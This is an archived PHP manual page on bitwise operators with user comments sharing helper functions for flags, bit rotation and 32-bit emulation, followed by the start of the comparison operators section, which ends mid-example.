More referencing this for myself than anything... if you need to iterate through every possible binary combination where $n number of flags are set to 1 in a mask of $bits length:

<?php
echo masksOf(3,10);

function masksOf($n,$bits) {
    $u = pow(2,$bits)-1; //start value, full flags on.
    $masks = array();
    while ($u>0) {
        $z = numflags($u);
        if ($z==$n) array_push($masks,$u);
        $u--;
    }
    return ($masks);
}

function numflags($n) {
    $k = 0;
    while ($n) {
        $k += $n & 1;
        $n = $n >> 1;
    }
    return ($k);

//    alternately:
//    $u = 0;
//    for ($k=1;$k<=$n;$k*=2) {
//        $u+=($n&$k?1:0);
//    }
//    return ($u);
}
?>
amckenzie4 at gmail dot com 25-Aug-2010 08:19
If, like me, you've never thought about how PHP deals with binary, the output of the bitwise NOT may confuse you.  For instance, this:

$bin = 2;
$notbin = ~$bin;

echo "Bin: " . decbin($bin) . "  !bin:  " . decbin($notbin) . "\n";

returns this:

Bin: 10  !bin:  1111111111111111111111111111111111111111111111111111111111111101

The reason is that all binary numbers are treated as 32 bits, even if you've manually entered less.  In order to get the result I expected (01), it was necessary to AND the result with the number of bits I wanted:  in this case, 2 (the number 3, in decimal).  Be aware that all return values will have zeros removed from the left until they reach a bit that is set to 1.  Continuing the above example, the following:

$notbin_2 = ~$bin & '3';
echo "!bin & 3:  " . decbin($notbin_2) . "\n";

returns this:

!bin & 3:  1

Note that the actual value was a string of 31 zeros followed by a 1, but the zeros were not shown.  This is probably a good thing.

Furthermore, the NOT operator uses two's complement, which means the number you get may be even stranger than you expect:  using two's complement means that ~2 == -3.  There are plenty of good explanations of two's complement online, so I won't go into that question here.

If what you want is just to reverse a string of bits without any interpretation, you can use a function like this:

function bitnot($bin)
 {
   $not = "";
   for ($i = 0; $i < strlen($bin); $i++)
   {
      if($bin[$i] == 0) { $not .= '1'; }
      if($bin[$i] == 1) { $not .= '0'; }
   }
   return $not;
 }

It takes a binary string of any length, reverses the bits, and returns the new string.  You can then treat it as a binary number, use bindec() to turn it into a decimal, or whatever you want.

I hope this helps someone as much as it would have helped me a week ago!
Core Xii 11-Aug-2010 10:24
Be very careful when XOR-ing strings! If one of the values is empty (0, '', null) the result will also be empty!

<?php
var_dump(1234 ^ 0); // int(1234)
var_dump(1234 ^ ''); // int(1234)
var_dump(1234 ^ null); // int(1234)
var_dump('hello world' ^ 0); // int(0)
var_dump('hello world' ^ ''); // string(0) ""
var_dump('hello world' ^ null); // int(0)
?>

This seems rather inconsistent behavior. An integer XOR'd with zero results the original integer. But a string XOR'd with an empty value results an empty value!

My password hashing function was always returning the same hash... Because I was XOR-ing it with a salt that was sometimes empty!
steffen at NO-SPAM dot haugk dot co dot uk 20-Jul-2010 03:23
It says above that the effect of
E_ALL & ~E_NOTICE
can also be achieved by
E_ALL ^ E_NOTICE

NB: XOR is not equivalent to AND NOT.

This only works here because E_ALL consists of 1s mostly, with the exception of the bit for E_STRICT.
As E_ALL means all error levels apart from E_STRICT. XORing any error level switches it off, but XORing E_STRICT will switch it on.

E_ALL ^ E_NOTICE : E_NOTICE switched off
E_ALL ^ E_STRICT : E_STRICT switched on

E_ALL & ~E_NOTICE : E_STRICT switched off
E_ALL & ~E_STRICT : E_STRICT remains switched off
Adam 15-May-2010 01:25
Be careful of order of operations.

for example, you may want to check if the second bit is set:

<?php
if ($x & 2 == 2) {
    /* code */
}
?>

is different than

<?php
if (($x & 2) == 2) {
    /* code */
}
?>

and the latter of the two should be used.
Anonymous 12-Jan-2010 10:18
Beware that PHP's << and >> operators, unlike the other bitwise operators do not work on ASCII values; << and >> cast their operands to integer (when possible) before shifting and will always return an integer result.

For example:

<?php
$foo = "1"; // chr(49)
var_dump($foo << 1); // Output is int(2)

$foo = "!"; // chr(33)
var_dump($foo << 1); // Output is int(0)
?>
Alex 11-Nov-2009 10:10
Okay, I'm twelve, and I am new to PHP, but I created the following -simple- functions:
<?php

function Isdec($num) {
if(round($num)==$num) {
return false;
}
else {
return true;
}
}

function decshiftl($number, $amount){
if(Isdec($number)) {
$decimal = substr($number, (strlen($number) - round($number) + 1));
$decimal*=pow(10,strlen($decimal) - 1);
$Shiftl = ($number << $amount) + (($decimal << $amount) / pow(10,strlen($decimal)));
}
else {
$Shiftl = $number << $amount;
}
return $Shiftl;
}

function decshiftr($number, $amount){
if(Isdec($number)) {
$decimal = substr($number, (strlen($number) - round($number) + 1));
$decimal*=pow(10,strlen($decimal) - 1);
$Shiftr = ($number >> $amount) + (($decimal >> $amount) / pow(10,strlen($decimal)));
}
else {
$Shiftr = $number >> $amount;
}
return $Shiftr;
}
?>
Anyway, it's just shoving parameters in to an equation, but sometimes reinventing the wheel and putting rockets on it is a good thing.
zooly at globmi dot com 19-Oct-2009 07:52
Here is an example for bitwise leftrotate and rightrotate.

Note that this function works only with decimal numbers - other types can be converted with pack().

<?php

function rotate ( $decimal, $bits) {

  $binary = decbin($decimal);

  return (
    bindec(substr($binary, $bits).substr($binary, 0, $bits))
  );

}

// Rotate 124 (1111100) to the left with 1 bits

echo rotate(124, 1);

// = 121 (1111001)

// Rotate 124 (1111100) to the right with 3 bits

echo rotate(124, -3);

// = 79 (1001111)

?>
grayda dot NOSPAM at DONTSPAM dot solidinc dot org 03-Jun-2009 08:48
Initially, I found bitmasking to be a confusing concept and found no use for it. So I've whipped up this code snippet in case anyone else is confused:

<?php

    // The various details a vehicle can have
    $hasFourWheels = 1;
    $hasTwoWheels  = 2;
    $hasDoors      = 4;
    $hasRedColour  = 8;

    $bike          = $hasTwoWheels;
    $golfBuggy     = $hasFourWheels;
    $ford          = $hasFourWheels | $hasDoors;
    $ferrari       = $hasFourWheels | $hasDoors | $hasRedColour;

    $isBike        = $hasFourWheels & $bike; # False, because $bike doens't have four wheels
    $isGolfBuggy   = $hasFourWheels & $golfBuggy; # True, because $golfBuggy has four wheels
    $isFord        = $hasFourWheels & $ford; # True, because $ford $hasFourWheels

?>

And you can apply this to a lot of things, for example, security:

<?php

    // Security permissions:
    $writePost = 1;
    $readPost = 2;
    $deletePost = 4;
    $addUser = 8;
    $deleteUser = 16;

    // User groups:
    $administrator = $writePost | $readPosts | $deletePosts | $addUser | $deleteUser;
    $moderator = $readPost | $deletePost | $deleteUser;
    $writer = $writePost | $readPost;
    $guest = $readPost;

    // function to check for permission
    function checkPermission($user, $permission) {
        if($user & $permission) {
            return true;
        } else {
            return false;
        }
    }

    // Now we apply all of this!
    if(checkPermission($administrator, $deleteUser)) {
        deleteUser("Some User"); # This is executed because $administrator can $deleteUser
    }

?>

Once you get your head around it, it's VERY useful! Just remember to raise each value by the power of two to avoid problems
Silver 12-May-2009 04:36
Regarding what Bob said about flags, I'd like to point out there's a 100% safe way of defining flags, which is using hexadecimal notation for integers:

<?php
define("f0", 0x1); // 2^0
define("f1", 0x2); // 2^1
define("f2", 0x4); // 2^2
define("f3", 0x8); // 2^3
define("f4", 0x10); // 2^4
define("f5", 0x20); // 2^5
// ...
define("f20", 0x1000000); // 2^20
define("f21", 0x2000000); // 2^21
define("f22", 0x4000000); // 2^22
define("f23", 0x8000000); // 2^23
define("f24", 0x10000000); // 2^24
// ... up to 2^31
?>

I always avoid using decimal notation when I have a large amount of different flags, because it's very easy to misspell numbers like 2^20 (1048576).
Bob 26-Apr-2009 12:19
Here is an easy way to use bitwise operation for 'flag' functionality.
By this I mean managing a set of options which can either be ON or OFF, where zero or more of these options may be set and each option may only be set once. (If you are familiar with MySQL, think 'set' datatype).
Note: to older programmers, this will be obvious.

Here is the code:
<?php
function set_bitflag(/*variable-length args*/)
{
    $val = 0;
    foreach(func_get_args() as $flag) $val = $val | $flag;
    return $val;
}
function is_bitflag_set($val, $flag)
{
    return (($val & $flag) === $flag);
}
// Define your flags
define('MYFLAGONE', 1); // 0001
define('MYFLAGTWO', 2); // 0010
define('MYFLAGTHREE', 4); // 0100
define('MYFLAGFOUR', 8); // 1000
?>

I should point out: your flags are stored in a single integer. You can store loads of flags in a single integer.

To use my functions, say you wanted to set MYFLAGONE and MYFLAGTHREE, you would use:
<?php
$myflags = set_bitflags(MYFLAGONE, MYFLAGTHREE);
?>
Note: you can pass set_bitflags() as many flags to set as you want.

When you want to test later if a certain flag is set, use e.g.:
<?php
if(is_bitflag_set($myflags, MYFLAGTWO))
{
    echo "MYFLAGTWO is set!";
}
?>

The only tricky part is defining your flags. Here is the process:
1.  Write a list of your flags
2.  Count them
3.  Define the last flag in your list as 1 times 2 to the power of <count> minus one. ( I.E. 1*2^(<count>-1) )
3. Working backwards through your list, from the last to the first, define each one as half of the previous one. You should reach 1 when you get to the first

If you want to understand binary numbers, bits and bitwise operation better, the wikipedia page explains it well - http://en.wikipedia.org/wiki/Bitwise_operation.
cw3theophilus at gmail dot com 15-Apr-2009 02:22
For those who are looking for a circular bit shift function in PHP (especially useful for cryptographic functions) that works with negtive values, here is a little function I wrote:

(Note: It took me almost a whole day to get this to work with negative $num values (I couldn't figure out why it sometimes worked and other times didn't), because PHP only has an arithmatic and not a logical bitwise right shift like I am used to. I.e. 0x80000001>>16 will ouputs (in binary) "1111 1111 1111 1111 1000 0000 0000 0000" instead of "0000 0000 0000 0000 1000 0000 0000 0000" like you would expect. To fix this you have to apply the mask (by bitwise &) equal to 0x7FFFFFFF right shifted one less than the offset you are shifting by.)

<?php
function circular_shift($num,$offset) { //Do a nondestructive circular bitwise shift, if offset positive shift left, if negative shift right
    $num=(int)$num;
    $mask=0x7fffffff; //Mask to cater for the fact that PHP only does arithmatic right shifts and not logical i.e. PHP doesn't give expected output when right shifting negative values
    if ($offset>0) {
        $num=($num<<$offset%32) | (($num>>(32-$offset%32)) & ($mask>>(31-$offset%32)));
    }
    elseif ($offset<0){
        $offset=abs($offset);
        $num=(($num>>$offset%32) & ($mask>>(-1+$offset%32))) | ($num<<(32-$offset%32));
    }
    return $num;
}
?>
m0sh at hotmail dot com 07-Aug-2008 12:03
@greenone - nice function, thanks. I've adapted it for key usage:

<?php
function bitxor($str, $key) {
    $xorWidth = PHP_INT_SIZE*8;
    // split
    $o1 = str_split($str, $xorWidth);
    $o2 = str_split(str_pad('', strlen($str), $key), $xorWidth);
    $res = '';
    $runs = count($o1);
    for($i=0;$i<$runs;$i++)
        $res .= decbin(bindec($o1[$i]) ^ bindec($o2[$i]));
    return $res;
}
?>
bartbons at debster.nl 07-Apr-2008 02:27
@kendsnyder at gmail dot com

Thanx for your great function. But your function is not 100% correct. It should be:

function safeBitCheck($number,$comparison) {
    if( $number < 2147483647 ) {
        return ($number & $comparison)==$comparison;
    } else {
        $binNumber = strrev(base_convert($number,10,2));
        $binComparison = strrev(base_convert($comparison,10,2));
        for( $i=0; $i<strlen($binComparison); $i++ ) {
            if( strlen($binNumber) - 1 <$i || ($binComparison{$i}==="1" && $binNumber{$i}==="0") ) {
                return false;
            }
        }
        return true;
    }
}

Mind the 'minus 1' on "if( strlen($binNumber) - 1 <$i".

cheers, Bart
forlamp at msn dot com 06-Dec-2007 06:35
two's complement logical operation for 32-bit.

$x must be (int) when passing it to this function to work properly.

function comp2($x)      // 32bit bitwise complement
{
    $mask = 0x80000000;

    if ($x < 0)
    {
        $x &= 0x7FFFFFFF;
        $x = ~$x;

        return $x ^ $mask;
    }
    else
    {
        $x = $x ^ 0x7FFFFFFF;

        return $x | $mask;
    }
}
Visual 20-Jun-2007 06:42
To perform bitwise operations on floats, or anything for that matter, in the binary representation of your choice, simply use pack() on the data with the appropriate parameters, then you can operate on the resulting strings. in the end just unpack()
gcG 01-Mar-2007 04:23
function xnor($a, $b) {
    return ~($a ^ $b);
}
XNOR is very usefull ;D
bryanagee at gmail dot com 08-Feb-2007 11:19
I found the 31-bit limitation on the bitwise ands to be a bit frustrating in large scale permission control applications. I have a situation involving page-level access with more than 50 pages. I was able to workaround the limitation by adding a loop that dropped 31 bits off of the right until the resource identifier bit is within the first 31.

<?php
        $userlevel = $session->userlevel - 0;  # the subtraction ensures int type
        $pg_code = pow(2,($pg_id-1));

        while ($pg_code >= 2147483648)  {
                $pg_code =  $pg_code/pow(2,31);
                $userlevel = $session->userlevel/pow(2,31) ;
        }
        if (!($userlevel - 0 & $pg_code)) {
                #if not authorized, show the unauthorized page
                header('Location: Unauthorized.php');
                exit;
        }
?>
zewt at hotmail dot com 11-Jan-2007 11:28
if you use bitwise you MUST make sure your variables are integers, otherwise you can get incorrect results.

I recommend ALWAYS

(int)$var & (int)$var2

This will save you many headaches when troubleshooting a completely illogical result.
rizal dot almashoor at gmail dot com 13-Nov-2006 04:12
The following function will perform a 32-bit left shift on a 64-bit machine:

<?php
function leftshift32($number, $steps)
{
    $binary = decbin($number).str_repeat("0", $steps);
    $binary = str_pad($binary, 32, "0", STR_PAD_LEFT);
    $binary = substr($binary, strlen($binary) - 32);
    return $binary{0} == "1" ? -(pow(2, 31) - bindec(substr($binary, 1))) : bindec($binary);
}
?>
Xavier Daull 04-Feb-2006 01:34
<?php

// Extract part of a binary data - due to windows system limitations (and this code), bit extracted length($firstbit to $lastbit included) is limited to 31 bits
function sub_bindata($mybindata, $firstbit = 7, $lastbit = 0, $highestbitfirst = true)
{
    // 1. Create a bit mask of the right size by triming left and right
    // 2. select bits by an AND on $mybindata
    // 3. shift right to get only length needed
    if($highestbitfirst) return (((0x7FFFFFFF >> (30+$lastbit-$firstbit))<<($lastbit)) & $mybindata) >> ($lastbit);
    else return (((0x7FFFFFFF >> (30-$lastbit+$firstbit))<<(30-$lastbit)) & $mybindata) >> (30-$lastbit);
}

?>
John L 02-Feb-2006 02:11
Bitwise operators are swell, but (a & b & c & d) == a
is not a way to test for four-way equality. If a is zero, it'll always be true, and in general it will be true any time a has no bits not also in the other three values.
Nina Cording 29-Oct-2005 09:50
For those who were searching for a way to actually rotate the bits of a number, here are some little functions I wrote:

<?php

function bitRotate32($value,$amount) {
    if ($amount>0) {
        $amount %= 32;
        $value = ($value<<$amount) | ($value>>(32-$amount));
    } elseif ($amount<0) {
        $amount = -$amount%32;
        $value = ($value>>$amount) | ($value<<(32-$amount));
    }
    return $value;
}

function bitRotate($value,$amount,$bits) {
    $mask = ($bits<32) ? 0x7fffffff >> (31-$bits) : 0xffffffff;
    if ($amount>0) {
        $amount %= $bits;
        $value = ($value<<$amount) | ($value>>($bits-$amount));
    } elseif ($amount<0) {
        $amount = -$amount%$bits;
        $value = ($value>>$amount) | ($value<<($bits-$amount));
    }
    return $value & $mask;
}

// test the rotation:

$test = 4123;
for ($i=0; $i<64; $i++) {
    $value = bitRotate($test,-$i,8); // rotates 8 bits to the left (-$amount)
    echo sprintf("%032b<br/>",$value);
}

?>
zlel grxnslxves13 at hotmail dot com~=s/x/ee/g 26-Oct-2005 07:30
I refer to Eric Swanson's post on Perl VS PHP's implementation of xor.

Actually, this is not an issue with the implementation of XOR,  but a lot more to do with the lose-typing policy that PHP adopts.

Freely switching between int and float is good for most cases, but problems happen when your value is near the word size of your machine. Which is to say, 32-bit machines will encounter problems with values that hover around 0x80000000 - primarily because PHP does not support unsigned integers.

using bindec/decbin would address this issue as a work-around to do unsigned-int xor, but here's the real picture (i'm not claiming that this code will perform better, but this would be a better pedagogical code):

<?php

function unsigned_xor32 ($a, $b)
{
        $a1 = $a & 0x7FFF0000;
        $a2 = $a & 0x0000FFFF;
        $a3 = $a & 0x80000000;
        $b1 = $b & 0x7FFF0000;
        $b2 = $b & 0x0000FFFF;
        $b3 = $b & 0x80000000;

        $c = ($a3 != $b3) ? 0x80000000 : 0;

        return (($a1 ^ $b1) |($a2 ^ $b2)) + $c;
}

$x = 3851235679;
$y = 43814;
echo "<br>This is the value we want";
echo "<br>3851262585";

echo "<br>The result of a native xor operation on integer values is treated as a signed integer";
echo "<br>".($x ^ $y);

echo "<br>We therefore perform the MSB separately";
echo "<br>".unsigned_xor32($x, $y);

?>

This is really foundation stuff, but for those of you who missed this in college, there seems to be something on 2's complement here:

http://www.evergreen.edu/biophysics/technotes/program/2s_comp.htm
zlel 26-Oct-2005 05:22
Here're my 32-bit carry-discarding operations for those of you porting encryption algorithms from C.

Be warned that some of these are not very efficient compared to the native operations, especially when called by heavy-duty encryption algorithms - but not discarding the carry bit may not land you the same results you get in C, simply because PHP's bitwise operations were not designed to work on fixed-sized registers.

(If your ported encryption algo still doen't give you the same results, remember to check your Endian-ness!)

function _BF_SHR32 ($x, $bits)
{
    if ($bits==0) return $x;
    if ($bits==32) return 0;
    $y = ($x & 0x7FFFFFFF) >> $bits;
    if (0x80000000 & $x) {
        $y |= (1<<(31-$bits));
    }
    return $y;
}

function _BF_SHL32 ($x, $bits)
{
    if ($bits==0) return $x;
    if ($bits==32) return 0;
    $mask = (1<<(32-$bits)) - 1;
    return (($x & $mask) << $bits) & 0xFFFFFFFF;
}

function _BF_GETBYTE ($x, $y)
{
    return _BF_SHR32 ($x, 8 * $y) & 0xFF;
}

function _BF_OR32 ($x, $y)
{
    return ($x | $y) & 0xFFFFFFFF;
}

function _BF_ADD32 ($x, $y)
{

    $x = $x & 0xFFFFFFFF;
    $y = $y & 0xFFFFFFFF;

    $total = 0;
    $carry = 0;
    for ($i=0; $i<4; $i++) {
        $byte_x = _BF_GETBYTE($x, $i);
        $byte_y = _BF_GETBYTE($y, $i);
        $sum = $byte_x + $byte_y;

        $result = $sum & 0xFF;
        $carryforward = _BF_SHR32($sum, 8);

        $sum = $result + $carry;
        $result = $sum & 0xFF;
        $carry = $carryforward + _BF_SHR32($sum, 8);

        $total = _BF_OR32(_BF_SHL32($result, $i*8), $total);
    }

    return $total;
}
Tbrendstrup 29-Sep-2005 05:23
note that the shift operators are arithmetic, not logic like in C. You may get unexpected results with negative numbers, see http://en.wikipedia.org/wiki/Bitwise_operation

here's a function to do logic right shifts.

<?php

function lshiftright($var,$amt)
{
    $mask = 0x40000000;
    if($var < 0)
    {
        $var &= 0x7FFFFFFF;
        $mask = $mask >> ($amt-1);
        return ($var >> $amt) | $mask;
    }
    return $var >> $amt;
}

$val = -10;

printf("arithmetic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, $val >> 1 );

printf("logic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, lshiftright($val, 1));

printf("logic shift on a positive integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",-$val, lshiftright(-$val, 1));
?>

gives the output:

arithmetic shift on a negative integer
11111111111111111111111111110110
11111111111111111111111111111011
-10
-5

logic shift on a negative integer
11111111111111111111111111110110
01111111111111111111111111111011
-10
2147483643

logic shift on a positive integer
00000000000000000000000000001010
00000000000000000000000000000101
10
5
Eric Swanson 31-Aug-2005 05:19
Perl vs. PHP implementation of the ^ operator:

After attempting to translate a Perl module into PHP, I realized that Perl's implementation of the ^ operator is different than the PHP implementation.  By default, Perl treats the variables as floats and PHP as integers.  I was able to verify the PHP use of the operator by stating "use integer;" within the Perl module, which output the exact same result as PHP was using.

The logical decision would be to cast every variable as (float) when using the ^ operator in PHP.  However, this will not yield the same results.  After about a half hour of banging my head against the wall, I discovered a gem and wrote a function using the binary-decimal conversions in PHP.

/*
not having much experience with bitwise operations, I cannot tell you that this is the BEST solution, but it certainly is a solution that finally works and always returns the EXACT same result Perl provides.
*/
function binxor($a, $b) {
    return bindec(decbin((float)$a ^ (float)$b));
}

//normal PHP code will not yeild the same result as Perl
$result = 3851235679 ^ 43814; //= -443704711

//to get the same result as Perl
$result = binxor(3851235679, 43814); //= 3851262585
//YIPPEE!!!

//to see the differences, try the following
$a = 3851235679 XOR 43814;
$b = 3851235679 ^ 43814; //integer result
$c = (float)3851235679 ^ (float)43814; //same as $b
$d = binxor(3851235679, 43814); //same as Perl!!

echo("A: $a<br />");
echo("B: $b<br />");
echo("C: $c<br />");
echo("D: $d<br />");
Séb. 19-Apr-2005 07:28
Another practical case...

<?php
    header('Content-Type: text/plain') ;

    // We want to know the power-2 based numbers of $x
    $x = 9124 ;

    $n = 1 ;
    while ( $x > 0 ) {
        if ( $x & 1 == 1 ) {
            echo $n, "\n" ;
        }
        $n *= 2 ;
        $x >>= 1 ;
    }

    // Will output...
    // 4
    // 32
    // 128
    // 256
    // 512
    // 8192
?>
Séb. 04-Mar-2005 03:13
A bitwise operators practical case :

<?php
    // We want to know the red, green and blue values of this color :
    $color = 0xFEA946 ;

    $red = $color >> 16 ;
    $green = ($color & 0x00FF00) >> 8 ;
    $blue = $color & 0x0000FF ;

    printf('Red : %X (%d), Green : %X (%d), Blue : %X (%d)',
        $red, $red, $green, $green, $blue, $blue) ;

    // Will display...
    // Red : FE (254), Green : A9 (169), Blue : 46 (70)
?>
icy at digitalitcc dot com 23-Feb-2005 11:24
Say... you really want to have say... more than 31 bits available to you in your happy bitmask. And you don't want to use floats. So, one solution would to have an array of bitmasks, that are accessed through some kind of interface.

Here is my solution for this: A class to store an array of integers being the bitmasks. It can hold up to 66571993087 bits, and frees up unused bitmasks when there are no bits being stored in them.

<?php
/*
    Infinite* bits and bit handling in general.

    *Not infinite, sorry.

    Perceivably, the only limit to the bitmask class in storing bits would be
    the maximum limit of the index number, on 32 bit integer systems 2^31 - 1,
    so 2^31 * 31 - 1 = 66571993087 bits, assuming floats are 64 bit or something.
    I'm sure that's enough enough bits for anything.. I hope :D.
*/

DEFINE('INTEGER_LENGTH',31); // Stupid signed bit.

class bitmask
{
    protected $bitmask = array();

    public function set( $bit ) // Set some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] |= 1 << $bit;
    }

    public function remove( $bit ) // Remove some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] &= ~ (1 << $bit);
        if(!$this->bitmask[$key])
            unset($this->bitmask[$key]);
    }

    public function toggle( $bit ) // Toggle some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        $this->bitmask[$key] ^= 1 << $bit;
        if(!$this->bitmask[$key])
            unset($this->bitmask[$key]);
    }

    public function read( $bit ) // Read some bit
    {
        $key = (int) ($bit / INTEGER_LENGTH);
        $bit = (int) fmod($bit,INTEGER_LENGTH);
        return $this->bitmask[$key] & (1 << $bit);
    }

    public function stringin($string) // Read a string of bits that can be up to the maximum amount of bits long.
    {
        $this->bitmask = array();
        $array = str_split( strrev($string), INTEGER_LENGTH );
        foreach( $array as $key => $value )
        {
            if($value = bindec(strrev($value)))
                $this->bitmask[$key] = $value;
        }
    }

    public function stringout() // Print out a string of your nice little bits
    {
        $string = "";

        $keys = array_keys($this->bitmask);
        sort($keys, SORT_NUMERIC);

        for($i = array_pop($keys);$i >= 0;$i--)
        {
            if($this->bitmask[$i])
                $string .= sprintf("%0" . INTEGER_LENGTH . "b",$this->bitmask[$i]);
        }
        return $string;
    }

    public function clear() // Purge!
    {
        $this->bitmask = array();
    }

    public function debug() // See what's going on in your bitmask array
    {
        var_dump($this->bitmask);
    }
}
?>

It treats a positive integer input as a bit, so you don't have to deal with the powers of 2 yourself.

<?php
$bitmask = new bitmask();

$bitmask->set(8979879); // Whatever

$bitmask->set(888);

if($bitmask->read(888))
    print 'Happy!\n';

$bitmask->toggle(39393); // Yadda yadda

$bitmask->remove(888);

$bitmask->debug();

$bitmask->stringin("100101000101001000101010010101010
00000001000001");

print $bitmask->stringout() . "\n";

$bitmask->debug();

$bitmask->clear();

$bitmask->debug();
?>

Would produce:

Happy!

array(2) {
  [289673]=>
  int(65536)
  [1270]=>
  int(8388608)
}

0000000000000001001010001010010001010100101010100
0000001000001

array(2) {
  [0]=>
  int(355106881)
  [1]=>
  int(37970)
}

array(0) {
}
louis /at/ mulliemedia.com 20-Jan-2005 02:12
Note that the ^ operator, unlike in some other languages, is *not* the same as the pow() function.
richard-slater.co.uk 22-Feb-2004 01:07
For those (like me) who are trying to do bit masking with very large numbers, here is a useful function to do the work for you.

<?php
  function isBitSet($bitMask, $bitMap)
  {
    return (bool) gmp_intval(gmp_div(gmp_and($bitMask, $bitMap),$bitMask));
  }
?>
krang at krang dot org dot uk 04-Dec-2003 02:30
Hopefully this may help someone understand the fun of Bitwise Operators....

The purpose of this function is to return a value from the GPC (Get, Post and Cookie) and do some basic formatting to it depending on the $VALIDATION value:

<?PHP

  function RETURN_SUBMITTED_VALUE ($VARIABLE, $METHOD, $VALIDATION) {

   //-------------------------------
   // Get the value from the
   // relevant submit method...

       if ($METHOD == 'POST') {
         if (!isset($_POST[$VARIABLE])) $_POST[$VARIABLE] = '';
         $VALUE = $_POST[$VARIABLE];

       } elseif ($METHOD == 'COOKIE') {
         if (!isset($_COOKIE[$VARIABLE])) $_COOKIE[$VARIABLE] = '';
         $VALUE = $_COOKIE[$VARIABLE];

       } else {
         if (!isset($_GET[$VARIABLE])) $_GET[$VARIABLE] = '';
         $VALUE = $_GET[$VARIABLE];
       }

   //-------------------------------
   // If necessary strip the slashes.
   // the "GPC" means - GET, POST
   // COOKIE.

       if (ini_get ('magic_quotes_gpc') == true) {
         $VALUE = stripslashes($VALUE);
       }

   //-------------------------------
   // Now for the different types
   // of VALIDATION's

       if (($VALIDATION & 8) == 8) {
         $VALUE = (int)$VALUE;
       }

       if (($VALIDATION & 4) == 4) {
         $VALUE = strtolower($VALUE);
       }

       if (($VALIDATION & 2) == 2) {
         $VALUE = strip_tags($VALUE);
       }

       if (($VALIDATION & 1) == 1) {
         $VALUE = trim($VALUE);
       }

   //-------------------------------
   // Finally return the value

       return $VALUE;

  }

  echo RETURN_SUBMITTED_VALUE ('ID', 'GET', 8) . '<br />';
   // Convert to an Integer

  echo RETURN_SUBMITTED_VALUE ('NAME', 'GET', 3) . '<br />';
   // Trim Whitespace and Strip HTML tags

  echo RETURN_SUBMITTED_VALUE ('GENDER', 'GET', 6) . '<br />';
   // Strip HTML tags and convert to lower case

  //-----------------------------------------------
  // If this script was loaded under the URL
  // index.php?ID=19a&NAME=Krang&GENDER=MalE
  // it would print
  //
  // 19
  // Krang
  // male
  //-----------------------------------------------

?>

For those that don’t understand binary, the numbers you see are not random, they double each time (1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024...) which allows you to mix and match the different function, eg...

1 + 2 = 3 (Trim Whitespace + Strip HTML)
2 + 4 = 6 (Strip HTML + Convert to lower case)
Assignment Operators
Comparison Operators
Operators


Comparison Operators

Comparison operators, as their name implies, allow you to compare two values. You may also be interested in viewing the type comparison tables, as they show examples of various type related comparisons.

Comparison Operators
Example | Name | Result
$a == $b | Equal | TRUE if $a is equal to $b after type juggling.
$a === $b | Identical | TRUE if $a is equal to $b, and they are of the same type.
$a != $b | Not equal | TRUE if $a is not equal to $b after type juggling.
$a <> $b | Not equal | TRUE if $a is not equal to $b after type juggling.
$a !== $b | Not identical | TRUE if $a is not equal to $b, or they are not of the same type.
$a < $b | Less than | TRUE if $a is strictly less than $b.
$a > $b | Greater than | TRUE if $a is strictly greater than $b.
$a <= $b | Less than or equal to | TRUE if $a is less than or equal to $b.
$a >= $b | Greater than or equal to | TRUE if $a is greater than or equal to $b.

If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically. These rules also apply to the switch statement. The type conversion does not take place when the comparison is === or !== as this involves comparing the type as well as the value.

<?php
var_dump(0 == "a"); // 0 == 0 -> true
var_dump("1" == "01"); // 1 == 1 -> true
var_dump("10" == "1e1"); // 10 == 10 -> true
var_dump(100 == "1e2"); // 100 == 100 -> true

switch ("a") {
case 0:
    echo "0";
    break;
case "a": // never reached because "a" is already matched with 0
    echo "a";
    break;
}
?>

For various types, comparison is done according to the following table (in order).

Comparison with Various Types
Type of Operand 1 | Type of Operand 2 | Result
null or string | string | Convert NULL to "", numerical or lexical comparison
bool or null | anything | Convert to bool, FALSE < TRUE
object | object | Built-in classes can define its own comparison, different classes are uncomparable, same class - compare properties the same way as arrays (PHP 4), PHP 5 has its own explanation
string, resource or number | string, resource or number | Translate strings and resources to numbers, usual math
array | array | Array with fewer members is smaller, if key from operand 1 is not found in operand 2 then arrays are uncomparable, otherwise - compare value by value (see following example)
array | anything | array is always greater
object | anything | object is always greater

Example #1 Transcription of standard array comparison

<?php
// Arrays are compared like this with standard comparison operators
function standard_array_compare($op1, $op2)
{
    if (count($op1) < count($op2)) {
        return -1; // $op1 < $op2
    } elseif (count($op1) > count($op2)) {
        return 1; // $op1 > $op2
    }
    foreach ($op1 as $key => $val) {
        if (!array_key_exists($key, $op2)) {
            return null; // uncomparable
        } elseif ($val < $op2[$key]) {
            return -1;
        } elseif ($val > $op2[$key]) {
            return 1;
        }
    }
    return 0; // $op1 == $op2
}
?>

See also strcasecmp(), strcmp(), Array operators, and the manual section on Types.

Warning

Comparison of floating point numbers

Because of the way floats are represented internally, you should not test two floats for equality.

See the documentation for float for more information.

Ternary Operator

Another conditional operator is the "?:" (or ternary) operator.

Example #2 Assigning a default value

<?php
// Example usage for: Ternary Operator
$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];

// The above is identical to this if/else statement
if (empty($_POST['action'])) {
    $action = 'default';
} else {
    $action = $_POST['action'];
}

?>
The expression (expr1) ? (expr2) : (expr3) evaluates to expr2 if expr1 evaluates to TRUE, and expr3 if expr1 evaluates to FALSE.

Since PHP 5.3, it is possible to leave out the middle part of the ternary operator. Expression expr1 ?: expr3 returns expr1 if expr1 evaluates to TRUE, and expr3 otherwise.

Note: Please note that the ternary operator is a statement, and that it doesn't evaluate to a variable, but to the result of a statement. This is important to know if you want to return a variable by reference. The statement return $var == 42 ? $a : $b; in a return-by-reference function will therefore not work and a warning is issued in later PHP versions.

Note:

It is recommended that you avoid "stacking" ternary expressions. PHP's behaviour when using more than one ternary operator within a single statement is non-obvious:

Example #3 Non-obvious Ternary Behaviour

<?php
